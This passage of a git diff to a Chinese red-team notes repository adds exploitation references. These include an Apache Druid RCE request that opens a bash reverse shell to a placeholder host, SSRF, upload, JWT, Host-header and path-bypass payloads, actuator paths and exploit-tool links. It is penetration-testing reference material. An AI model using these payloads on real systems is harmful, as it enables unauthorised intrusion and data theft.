影响版本 + - Apache Druid < 0.20.1 + +- POC | Payload | exp + ``` + POST /druid/indexer/v1/sampler HTTP/1.1 + Host: xxxxx + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 + Accept: application/json, text/plain, */* + Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + Content-Type: application/json + Content-Length: 1044 + Connection: close + + {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx/xxx 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}} + ``` + +--- + ## Dubbo > 官网 : https://dubbo.apache.org/zh-cn/ @@ -1704,6 +1794,10 @@ shiro 的漏洞参考 https://issues.apache.org/jira/projects/SHIRO/issues - [feihong-cs/ShiroExploit-Deprecated](https://github.com/feihong-cs/ShiroExploit-Deprecated) - Shiro550/Shiro721 一键化利用工具,支持多种回显方式 - [j1anFen/shiro_attack](https://github.com/j1anFen/shiro_attack) - shiro 反序列化漏洞综合利用, 包含(回显执行命令 / 注入内存马) +**绕过测试** +- `/;/index` +- `/aaaa/..;/index/1` + **指纹** - `set-Cookie: rememberMe=deleteMe` @@ -1857,10 +1951,17 @@ Solr 的漏洞参考 https://issues.apache.org/jira/projects/SOLR/issues **指纹** - `X-Application-Context:` +**相关文章** +- [获取spring boot脱敏属性明文](https://www.jianshu.com/p/ae4be3af5231) + +**学习资源** +- [LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit) - SpringBoot 相关漏洞学习资料 + **Spring Boot Actuators** ``` /actuator/env -env +/env +/heapdump /trace /api-docs /v2/api-docs @@ -1883,6 +1984,7 @@ env - [Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - [Spring Boot Actuators配置不当导致RCE漏洞复现](https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/) - [mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit) +- [Spring Boot Actuator 漏洞利用](https://www.jianshu.com/p/8c18f1e05c94) **CVE-2016-4977 Spring Security OAuth2 远程命令执行漏洞** - 简介 @@ -1979,6 +2081,15 @@ env Upgrade-Insecure-Requests: 1 ``` +**CVE-2020-5412 Spring Cloud Netflix Hystrix Dashboard SSRF** +- 文章 + - [CVE-2020-5412分析复现](https://zhzhdoai.github.io/2020/09/01/CVE-2020-5412%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/) + +- POC | Payload | exp + ``` + /proxy.stream?origin=http://www.baidu.com + ``` + --- ## Struts2 @@ -2726,6 +2837,13 @@ oracle 版本号是真的乱,Weblogic 数据库版本号请看维基百科 [Orac - [Y4er/CVE-2020-2555](https://github.com/Y4er/CVE-2020-2555) - [Y4er/CVE-2020-2883](https://github.com/Y4er/CVE-2020-2883) +**CVE-2020-14645** +- 文章 + - [CVE-2020-14645——WebLogic反序列化](https://www.anquanke.com/post/id/231425) + +- POC | Payload | exp + - [Y4er/CVE-2020-14645](https://github.com/Y4er/CVE-2020-14645) + **CVE-2020-14756** - POC | Payload | exp - [Y4er/CVE-2020-14756](https://github.com/Y4er/CVE-2020-14756) @@ -3530,9 +3648,11 @@ jira 的漏洞参考 https://jira.atlassian.com/browse/JRASERVER-69858?filter=13 **JumpServer远程执行漏洞** - 文章 - [JumpServer远程执行漏洞 复现](https://www.o2oxy.cn/2921.html) + - [JumpServer远程命令执行你可能不知道的点(附利用工具)](https://mp.weixin.qq.com/s/lbcYzNsiOYZRwQzAIYxg3g) - POC | Payload | exp - [Skactor/jumpserver_rce](https://github.com/Skactor/jumpserver_rce) + - [Veraxy00/Jumpserver-EXP](https://github.com/Veraxy00/Jumpserver-EXP) ## Jupyter diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/IDOR.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/IDOR.md" index 19bef80a..918aabc1 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/IDOR.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/IDOR.md" @@ -343,6 +343,12 @@ 如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址 - [Fuzz_head](https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/HTTP/Fuzz_head.txt) +或者直接修改 host 头 +``` +curl -v -H "Host: localhost" https://target/ +wget -d --header="Host: localhost" https://target/ +``` + --- ## 时间限制绕过 @@ -427,6 +433,7 @@ - JSON 对象 - `{"id":xxx}` - `{"id":{"id":xxx}}` + - `{"id":{"id":[xxx]}}` - 去 JSON - `{"id":xxx}` - `id=xxx` @@ -475,6 +482,10 @@ - [大疆某处支付逻辑漏洞可1元买无人机](http://www.anquan.us/static/bugs/wooyun-2016-0194751.html) - [挖掘网站支付漏洞中突然想到的一个骚思路](https://www.t00ls.net/thread-53256-1-2.html) +- Tips: + - 数量改为小数、负数、0 + - 同时购买多个物品,部分商品数量改为负数 + **商品数量篡改** 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程. diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/SSRF.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/SSRF.md" index be4e80bf..43ccc35e 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/SSRF.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/SSRF.md" @@ -17,3 +17,78 @@ - reveal IP Address & HTTP Library - https://webhook.site/ - Download a very large file (Layer 7 DoS) + +--- + +# 绕过方法 + +**特殊 IP** +``` +http://0177.1/ +http://0x7f.1/ +http://127.000.000.1 +https://520968996 +``` + +> The latter can be calculated using http://www.subnetmask.info/ + +**错误 IP** +``` +http://127.1 +http://0 +http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ +urllib : 3.3.3.3 +http://127.1.1.1:80\@127.2.2.2:80/ +``` + +**IPv6** + +``` +http://[::1] +http://[::] +http://[::]:80/ +http://0000::1:80/ +``` + +**Exotic Handlers** + +``` +gopher://, dict://, php://, jar://, tftp:// +``` + +**DNS 欺骗** + +``` +10.0.0.1.xip.io +www.10.0.0.1.xip.io +mysite.10.0.0.1.xip.io +foo.bar.10.0.0.1.xip.io +``` + +> http://xip.io + +``` +10.0.0.1.nip.io +app.10.0.0.1.nip.io +customer1.app.10.0.0.1.nip.io +customer2.app.10.0.0.1.nip.io +otherapp.10.0.0.1.nip.io +``` + +> http://nip.io + +**重定向欺骗** +``` + +``` + +**编码绕过** + +这些包括十六进制编码,八进制编码,双字编码,URL 编码和混合编码。 + +``` +127.0.0.1 translates to 0x7f.0x0.0x0.0x1 +127.0.0.1 translates to 0177.0.0.01 +http://127.0.0.1 translates to http://2130706433 +localhost translates to %6c%6f%63%61%6c%68%6f%73%74 +``` diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Upload.md" similarity index 92% rename from "1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" rename to "1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Upload.md" index 91d09aa0..1e0845ca 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/\346\226\207\344\273\266\344\270\212\344\274\240\346\274\217\346\264\236.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Upload.md" @@ -1,4 +1,4 @@ -# 文件上传漏洞 +# Upload --- @@ -15,6 +15,7 @@ - [关于File Upload的一些思考](https://www.freebuf.com/articles/web/223679.html) - [Upload与WAF的那些事](https://xz.aliyun.com/t/8084) - [web安全-文件上传利用](https://mp.weixin.qq.com/s/Q4wN01H4fh_ATUnPwng3Ag) +- [Web 安全漏洞之文件上传](https://cnodejs.org/topic/5d196c02cdb1f967c1577295) **相关案例** - [实战渗透-看我如何拿下自己学校的大屏幕(Bypass) ](https://xz.aliyun.com/t/7786) - 大量字符 bypass waf 文件上传 @@ -104,15 +105,22 @@ waf、rasp 对上传文件的检测方法有这几种 - html - shtml - .net - - asp - - aspx - asa - - cer - - cdx + - asp - ashx - asmx - - svc + - aspx + - axd + - cdx + - cer + - config + - cshtm - cshtml + - rem + - soap + - svc + - shtml + - vbhtm - vbhtml - java - jsp @@ -174,6 +182,9 @@ waf、rasp 对上传文件的检测方法有这几种 - `xxx.pphphp` - `xxx.asaspxpx` - 00 截断 + - `file.jpg%00shell.php` + - `shell.php%00file.jpg` + - `shell.php%00.jpg` - .htaccess - 中间件解析漏洞 - 参数 @@ -219,3 +230,9 @@ waf、rasp 对上传文件的检测方法有这几种 - `xxx.com/test/img/1.png/../../shell.php` - 解析 - `xxx.com/shell.php;/.png` + +--- + +## 软链接 + +如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者利用程序可以直接读取到服务器的关键文件内容 diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Web_Generic.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Web_Generic.md" index 91a2eca5..259f91f4 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Web_Generic.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Generic/Web_Generic.md" @@ -24,9 +24,12 @@ * **[信息泄露](#信息泄露)** * [目录遍历](#目录遍历) * [任意文件读取](#任意文件读取) - * [GIT源码泄露](#git源码泄露) - * [SVN源码泄露](#snv源码泄露) + * [源码泄露](#源码泄露) + * [GIT](#git) + * [SVN](#svn) + * [bzr](#bzr) * [DS_Store文件泄漏](#ds_store文件泄漏) + * [SWP文件泄露](#swp文件泄露) * [网站备份压缩文件](#网站备份压缩文件) * [WEB-INF/web.xml信息泄露](#web-infwebxml信息泄露) * [idea文件夹泄露](#idea文件夹泄露) @@ -239,7 +242,7 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 # 文件上传 -- [文件上传漏洞](./文件上传漏洞.md) +- [Upload](./Upload.md) --- @@ -258,6 +261,15 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 --- +## 目录浏览 + +**Tips** + +使用 wget 遍历下载所有文件 +``` +wget -r --no-pare target.com/dir +``` + ## 目录遍历 **相关案例** @@ -273,7 +285,9 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 --- -## GIT源码泄露 +## 源码泄露 + +### GIT **简介** @@ -290,7 +304,7 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 --- -## SVN源码泄露 +### SVN - `/.svn/entries` @@ -303,6 +317,16 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 --- +### bzr + +**相关工具** +- [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper) - SVN/GIT/HG 等版本控制系统的扫描工具 + ``` + rip-bzr.pl -v -u http://www.example.com/.bzr/ + ``` + +--- + ## DS_Store文件泄漏 **简介** @@ -322,6 +346,16 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 --- +## SWP文件泄露 + +**简介** + +swp 即 swap 文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。 + +直接访问 .swp 文件,下载回来后删掉末尾的 .swp,获得源码文件 + +--- + ## 网站备份压缩文件 **简介** @@ -337,6 +371,14 @@ Apache 是从右到左开始判断解析,如果为不可识别解析,就再往 **相关工具** - [oscommonjs/scan-backup-langzi-](https://github.com/oscommonjs/scan-backup-langzi-) - 扫描备份文件和敏感信息泄漏的扫描器,速度快,器大活好 +**Tips** +- 有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容 + ```BASH + pip3 install remotezip + remotezip -l "http://site/bigfile.zip" # 列出远程zip文件的内容 + remotezip "http://site/bigfile.zip" "file.txt" # 从远程zip⽂件解压出file.txt + ``` + --- ## WEB-INF/web.xml信息泄露 @@ -415,6 +457,7 @@ WEB-INF 主要包含一下文件或目录: **相关文章** - [Unauthorized Google Maps API Key Usage Cases, and Why You Need to Care](https://medium.com/@ozguralp/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e) - [一些提取api key的正则表达式](https://bacde.me/post/Extract-API-Keys-From-Regex/) +- [企业微信Secret Token利用思路](https://mp.weixin.qq.com/s/LMZVcZk7_1r_kOKRau5tAg) **相关案例** - [WooYun-2015-141929 - 神器之奇虎360某命令执行导致网站卫士等多个重要业务官网可getshell(可能影响接入站长)](https://php.mengsec.com/bugs/wooyun-2015-0141929.html) @@ -595,6 +638,9 @@ CSRF 一般使用 form 表单提交请求,而浏览器是不会对 form 表单 **相关工具** - [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - 一个旨在发现网站的 CORS 错误配置漏洞的 python 工具 +**相关靶场** +- [incredibleindishell/CORS_vulnerable_Lab-Without_Database](https://github.com/incredibleindishell/CORS_vulnerable_Lab-Without_Database) + --- ## jsonp劫持 @@ -671,11 +717,16 @@ SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗 ## URL跳转漏洞 +`Open Redirect` + **相关文章** - [URL 重定向及跳转漏洞](http://www.pandan.xyz/2016/11/15/url%20%E9%87%8D%E5%AE%9A%E5%90%91%E5%8F%8A%E8%B7%B3%E8%BD%AC%E6%BC%8F%E6%B4%9E/) - [分享几个绕过 URL 跳转限制的思路](https://www.anquanke.com/post/id/94377) - [浅析渗透实战中url跳转漏洞 ](https://xz.aliyun.com/t/5189) +**字典** +- https://github.com/ffffffff0x/AboutSecurity/blob/master/Payload/Redirect/Fuzz_Redirect.txt + --- ## 二维码劫持 diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/JWT\345\256\211\345\205\250.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/JWT\345\256\211\345\205\250.md" index 5937f3e2..f88a193b 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/JWT\345\256\211\345\205\250.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/JWT\345\256\211\345\205\250.md" @@ -33,3 +33,25 @@ jwt.encode({'字段1':'test','字段2':'123456'},algorithm='none',key='') - [andresriancho/jwt-fuzzer](https://github.com/andresriancho/jwt-fuzzer) - [ozzi-/JWT4B](https://github.com/ozzi-/JWT4B) - 即时操作 JWT 的 burp 插件 - [3v4Si0N/RS256-2-HS256](https://github.com/3v4Si0N/RS256-2-HS256) - JWT 攻击,将算法由 RS256 变为 HS256 + +--- + +# 绕过思路 + +**加密算法置空** +1. 捕获 JWT. +2. 修改 algorithm 为 None. +3. 在正⽂中⽤任何你想要的内容改变原本的内容,如: email: attacker@gmail.com +4. 使⽤修改后的令牌发送请求并检查结果。 + +**篡改加密算法** +1. 捕获 JWT token. +2. 如果算法是 RS256,就改成 HS256,然后⽤公钥签名(你可以通过访问 jwks Uri (https://YOUR_DOMAIN/.well-known/jwks.json) 来获得,⼤多数情况下是该网站 https 证书的公钥)。 +3. 使⽤修改后的令牌发送请求并检查响应。 + +**检查服务器端会话终⽌是否正确 (OTG-SESS-006)** +1. 检查应用程序是否使用 JWT 令牌进行认证。 +2. 如果是,登录到应用程序并捕获令牌。(⼤多数网络应⽤都会将令牌存储在浏览器的本地存储中) +3. 现在注销应用程序。 +4. 用之前捕获的令牌向权限接口发出请求。 +5. 有时,请求会成功,因为 Web 应用程序只是从浏览器中删除令牌,而不会在后端将令牌列⼊黑名单。 diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/OOB.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/OOB.md" index 373e2384..2f28d550 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/OOB.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/Web_Tricks/OOB.md" @@ -25,6 +25,7 @@ **工具** - [uknowsec/SharpNetCheck](https://github.com/uknowsec/SharpNetCheck) - 该工具可以在 dnslog 中回显内网 ip 地址和计算机名,可实现内网中的快速定位可出网机器。 - [Buzz2d0/Hyuga](https://github.com/Buzz2d0/Hyuga) - 一个用来检测带外(Out-of-Band)流量(DNS查询和HTTP请求)的监控工具。 +- [ztgrace/mole](https://github.com/ztgrace/mole) - 识别和利用out-of-band (OOB)漏洞的burp扩展 **平台搭建** - [BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) - DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。 diff --git "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/\345\211\215\347\253\257\346\224\273\351\230\262.md" "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/\345\211\215\347\253\257\346\224\273\351\230\262.md" index 1610141d..c0240de4 100644 --- "a/1earn/Security/RedTeam/Web\345\256\211\345\205\250/\345\211\215\347\253\257\346\224\273\351\230\262.md" +++ "b/1earn/Security/RedTeam/Web\345\256\211\345\205\250/\345\211\215\347\253\257\346\224\273\351\230\262.md" @@ -112,5 +112,7 @@ web.com/%ef%bc%8fadmin # ===> 200 web.com/admin # ===> 302 + web.com/../admin # ===> 200 + web.com/test/admin # ===> 200 web.com/admin..;/ # ===> 200 ``` diff --git "a/1earn/Security/RedTeam/\344\272\221\345\256\211\345\205\250/\344\272\221\345\256\211\345\205\250.md" "b/1earn/Security/RedTeam/\344\272\221\345\256\211\345\205\250/\344\272\221\345\256\211\345\205\250.md" index 4ead3c1e..bb66d61a 100644 --- "a/1earn/Security/RedTeam/\344\272\221\345\256\211\345\205\250/\344\272\221\345\256\211\345\205\250.md" +++ "b/1earn/Security/RedTeam/\344\272\221\345\256\211\345\205\250/\344\272\221\345\256\211\345\205\250.md" @@ -17,6 +17,9 @@ - [iiiusky/alicloud-tools](https://github.com/iiiusky/alicloud-tools) - 阿里云 ECS、策略组辅助小工具 - [mrknow001/aliyun-accesskey-Tools](https://github.com/mrknow001/aliyun-accesskey-Tools) +**相关案例** +- [云主机AK/SK泄露利用](https://mp.weixin.qq.com/s/4wpqjjvcT9YjmZOJGB4lJw) + --- ## OSS @@ -82,6 +85,7 @@ http://update.aegis.aliyun.com/download/uninstall.bat - [toniblyx/prowler](https://github.com/toniblyx/prowler) - 用于 AWS 的实践评估,审计,强化和取证准备工具的命令行工具 - [RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu) - 开源的 AWS 利用框架 - [arkadiyt/aws_public_ips](https://github.com/arkadiyt/aws_public_ips) - 获取与 AWS 账户相关的所有公共 IP 地址. +- [BishopFox/smogcloud](https://github.com/BishopFox/smogcloud) - 查找拥有的暴露的AWS云资产 **资源** - [AWS-related penetration testing scripts, tools and Cheatsheets](https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/clouds/aws) - 与 AWS 相关的渗透测试脚本,工具和备忘单 diff --git "a/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\344\277\241\346\201\257\346\224\266\351\233\206.md" "b/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\344\277\241\346\201\257\346\224\266\351\233\206.md" index 4e23b49e..217862b9 100644 --- "a/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\344\277\241\346\201\257\346\224\266\351\233\206.md" +++ "b/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\344\277\241\346\201\257\346\224\266\351\233\206.md" @@ -97,7 +97,7 @@ #### 主动漏扫 **相关工具** -- **[AWVS-acunetix](https://www.acunetix.com/vulnerability-scanner/)** +- [AWVS-acunetix](https://www.acunetix.com/vulnerability-scanner/) - 文章 - [编写 AWVS 脚本探测web services](http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/) - [论如何反击用 AWVS 的黑客](https://www.freebuf.com/news/136476.html) @@ -128,15 +128,19 @@ chmod +x /home/acunetix/.acunetix/v_200807155/scanner/wvsc cp license_info.json /home/acunetix/.acunetix/data/license/ ``` + - 辅助工具 + - [test502git/awvs13_batch_py3](https://github.com/test502git/awvs13_batch_py3) - 针对 AWVS 扫描器开发的批量扫描脚本,支持联动 xray、burp、w13scan 等被动批量 -- **[al0ne/Vxscan](https://github.com/al0ne/Vxscan) - python3 写的综合扫描工具,主要用来敏感文件探测** - 指纹+端口+目录结合,偏向信息泄露,漏洞扫描结果较少 -- **nikto** - 效果一般 +- [al0ne/Vxscan](https://github.com/al0ne/Vxscan) - python3 写的综合扫描工具,主要用来敏感文件探测 - 指纹+端口+目录结合,偏向信息泄露,漏洞扫描结果较少 +- nikto - 效果一般 ``` nikto -host http://xxx.xxx.xxx.xx:8080/ ``` -- **[boy-hack/POC-T](https://github.com/boy-hack/POC-T)** - 适合批量任务,速度可以 +- [Xyntax/POC-T](https://github.com/Xyntax/POC-T) - 适合批量任务,速度可以 - [刷 SRC 经验之批量化扫描实践](https://www.freebuf.com/sectool/176562.html) -- **[netsparker](https://www.netsparker.com)** +- [netsparker](https://www.netsparker.com) +- [projectdiscovery/nuclei](../../安全工具/nuclei.md) - 一款基于 Go 语言开发的运行速度非常快且易于使用的开源安全漏洞扫描工具 +- [knownsec/pocsuite3](https://github.com/knownsec/pocsuite3) --- @@ -189,6 +193,9 @@ 静态应用程序安全测试(Static Application Security Testing)技术通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。 +**相关资源** +- [analysis-tools-dev/static-analysis](https://github.com/analysis-tools-dev/static-analysis) - A curated list of static analysis (SAST) tools for all programming languages, config files, build tools, and more. + **相关工具** - Fortify Sca - 规则解密 @@ -199,6 +206,7 @@ - [liweibin123/fortify](https://github.com/liweibin123/fortify) - Checkmarx CxSAST - Synopsys Static Analysis (Coverity) +- [ajinabraham/nodejsscan](https://github.com/ajinabraham/nodejsscan) - nodejsscan is a static security code scanner for Node.js applications. --- @@ -395,8 +403,8 @@ curl http://host:[8000-9999] 1>> 1.txt 2>/dev/null ## 主机信息 -- [Linux主机信息收集](../../../../Integrated/Linux/笔记/信息.md) -- [Windows主机信息收集](../../../../Integrated/Windows/笔记/信息.md) +- [Linux主机信息收集](../../../Integrated/Linux/笔记/信息.md) +- [Windows主机信息收集](../../../Integrated/Windows/笔记/信息.md) --- @@ -756,7 +764,12 @@ dsquery server - 多地 ping 域名 利用在线网站服务多地 ping 测试 - - [ping工具](../../../Plan/Web-Tools.md#ping工具) + - [CDN Finder tool - CDN Planet](https://www.cdnplanet.com/tools/cdnfinder/) + - [CDN检测](https://myssl.com/cdn_check.html) + - [多个地点Ping服务器,网站测速 - 站长工具](http://ping.chinaz.com/) + - [网站测速工具_超级ping _多地点ping检测 - 爱站网](https://ping.aizhan.com/) + - [DNSMap](https://dnsmap.io/) - 检查来自世界各地的多个DNS名称服务器和解析器的域名或主机名的当前IP + - [Ping.cn:网站测速-ping检测-dns查询-ipv6网站测试-路由跟踪查询](https://www.ping.cn/) - "常识"判断 @@ -779,7 +792,9 @@ dsquery server > 上面下面这么多方法里,这个应该是成功率较高的了 通过查询历史的 DNS 解析 IP,有可能得到真实 IP - - [DNS记录](../../../Plan/Web-Tools.md#DNS记录) + - https://x.threatbook.cn/nodev4/vb4/list + - https://viewdns.info/iphistory/ + - https://securitytrails.com/ - SSL 证书 - [CloudFlair: Bypassing Cloudflare using Internet-wide scan data](https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/) @@ -898,6 +913,7 @@ dsquery server - 在线 api ```bash https://dns.bufferover.run/dns?q=baidu.com # 调用的 Rapid7 数据 + https://rapiddns.io/subdomain ``` - 更多开放 api 参考 : https://opendata.rapid7.com/apihelp/ - 开放数据下载 : https://opendata.rapid7.com/ @@ -915,7 +931,7 @@ dsquery server **相关文章** - [熟练使用各类敏感目录文件扫描工具](https://klionsec.github.io/2014/12/16/dirscan-tools/) -**相关工具** +**目录扫描工具** - [ffuf/ffuf](https://github.com/ffuf/ffuf) - go 写的 web fuzz 工具,很好用,推荐 ```bash ffuf -c -mc 200,301,302,403 -t 50 -u http://testphp.vulnweb.com/FUZZ -w dic.txt @@ -938,6 +954,8 @@ dsquery server ```bash cat domains.txt | waybackurls > urls ``` + +**浏览器爬虫工具** - [0Kee-Team/crawlergo](https://github.com/0Kee-Team/crawlergo) ```bash # 假设你的 chromium 安装在 /tmp/chromium/ ,开启最大10标签页,爬取 AWVS 靶场 @@ -954,6 +972,8 @@ dsquery server ``` - [timwhitez/crawlergo_x_XRAY](https://github.com/timwhitez/crawlergo_x_XRAY) - crawlergo 动态爬虫结合长亭 XRAY 扫描器的被动扫描功能 - [ox01024/Xray_and_crwlergo_in_server](https://github.com/ox01024/Xray_and_crwlergo_in_server) - xray 与 crwlergo 联动+server 酱推送 +- [jaeles-project/gospider](https://github.com/jaeles-project/gospider) +- [chaitin/rad](https://github.com/chaitin/rad) **Tips** @@ -968,7 +988,13 @@ dsquery server 应用程序一般在 html、js、css 等文件中包含一些特征码,这些特征码就是所谓的指纹。当碰到其他网站也存在次特征时,就可以快速识别出该程序,所以叫做指纹识别。 **在线工具** -- [指纹](../../../Plan/Web-Tools.md#指纹) +- [云悉 WEB 资产梳理|在线 CMS 指纹识别平台 - 云悉安全](http://www.yunsee.cn/) +- [Sucuri SiteCheck - Free Website Security Check & Malware Scanner](https://sitecheck.sucuri.net/) +- [Bad site specified](https://toolbar.netcraft.com/site_report?url=/) +- [Site Info Tool - Website Information Lookup Tool](http://www.siteinfotool.com/) +- [在线指纹识别,在线 cms 识别小插件--BugScaner](http://whatweb.bugscaner.com/look/) +- [YFCMF 内容管理框架 YFCMF 内容管理框架](http://finger.tidesec.net/) +- [BuiltWith Technology Lookup](https://searchcode.com/) - 找出网站使用什么搭建的 **相关文章** - [WAF 指纹探测及识别技术](https://www.freebuf.com/articles/web/21744.html) @@ -994,7 +1020,17 @@ dsquery server 旁站是和目标网站在同一台服务器上的其它的网站;如果从目标站本身找不到好的入手点,这时候,如果想快速拿下目标的话,一般都会先找个目标站点所在服务器上其他的比较好搞的站下手,然后再想办法跨到真正目标的站点目录中。C 段是和目标机器 ip 处在同一个 C 段的其它机器;通过目标所在 C 段的其他任一台机器,想办法跨到我们的目标机器上。 **在线工具** -- [旁站](../../../Plan/Web-Tools.md#旁站) +- https://x.threatbook.cn/nodev4/vb4/list +- https://dns.aizhan.com/ +- https://www.robtex.com/ +- http://www.webscan.cc/ +- http://www.114best.com/ip/ +- http://www.5kik.com/c/ +- https://phpinfo.me/bing.php +- https://dnsdumpster.com/ +- https://viewdns.info/iphistory/ +- https://securitytrails.com/ +- https://rapiddns.io/sameip --- @@ -1003,8 +1039,8 @@ dsquery server 大部分网站都存在历史快照,往往这些快照都有存在些敏感信息或者曾经被挂过暗链。 **在线工具** -- http://2tool.top/ -- https://archive.org/ +- [网页快照网](http://2tool.top/) - 搜索引擎网页快照查询,支持手机移动端 +- [Internet Archive: Digital Library of Free & Borrowable Books, Movies, Music & Wayback Machine](https://archive.org/) - 互联网档案馆是一个非营利性的数字图书馆组织。提供数字数据如网站、音乐、动态图像、和数百万书籍的永久性免费存储及获取。 **例子** ``` @@ -1018,10 +1054,34 @@ https://webcache.googleusercontent.com/search?q=cache:www.baidu.com whois(读作“Who is”,非缩写)是用来查询域名的 IP 以及所有者等信息的传输协议。简单说,whois 就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。 **在线 whois 查询** -- [whois查询](../../../Plan/Web-Tools.md#whois查询) +- http://wq.apnic.net/apnic-bin/whois.pl +- https://centralops.net/co/ +- https://www.register.com/whois.rcmx +- https://www1.domain.com/whois/whois.bml +- https://whois.net/ +- https://whois.domaintools.com/ +- https://who.is/ +- https://www.t00ls.net/domain.html +- https://www.whois.com.au/whois/abn.html +- http://whois.webmasterhome.cn/ +- https://whois.aliyun.com/ +- https://who.is/whois/xxx.com +- https://whois.icann.org/zh/lookup +- http://whoissoft.com/ +- http://whois.chinaz.com/ +- https://www.whois.com/ +- 